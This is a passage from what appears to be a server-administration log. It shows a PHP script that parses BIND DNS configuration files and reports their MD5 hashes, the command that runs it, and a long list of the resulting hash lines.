MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 5e377f3629d6fe361d57f6ca437ac6a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 19:40:23: Establishing a connection
2026-04-25 19:40:23: 

PUT: /tmp/pkp199229

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 19:40:23: 

runuser -l bind -s /bin/bash -c '/tmp/pkp199229; rm /tmp/pkp199229'

2026-04-25 19:40:23: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
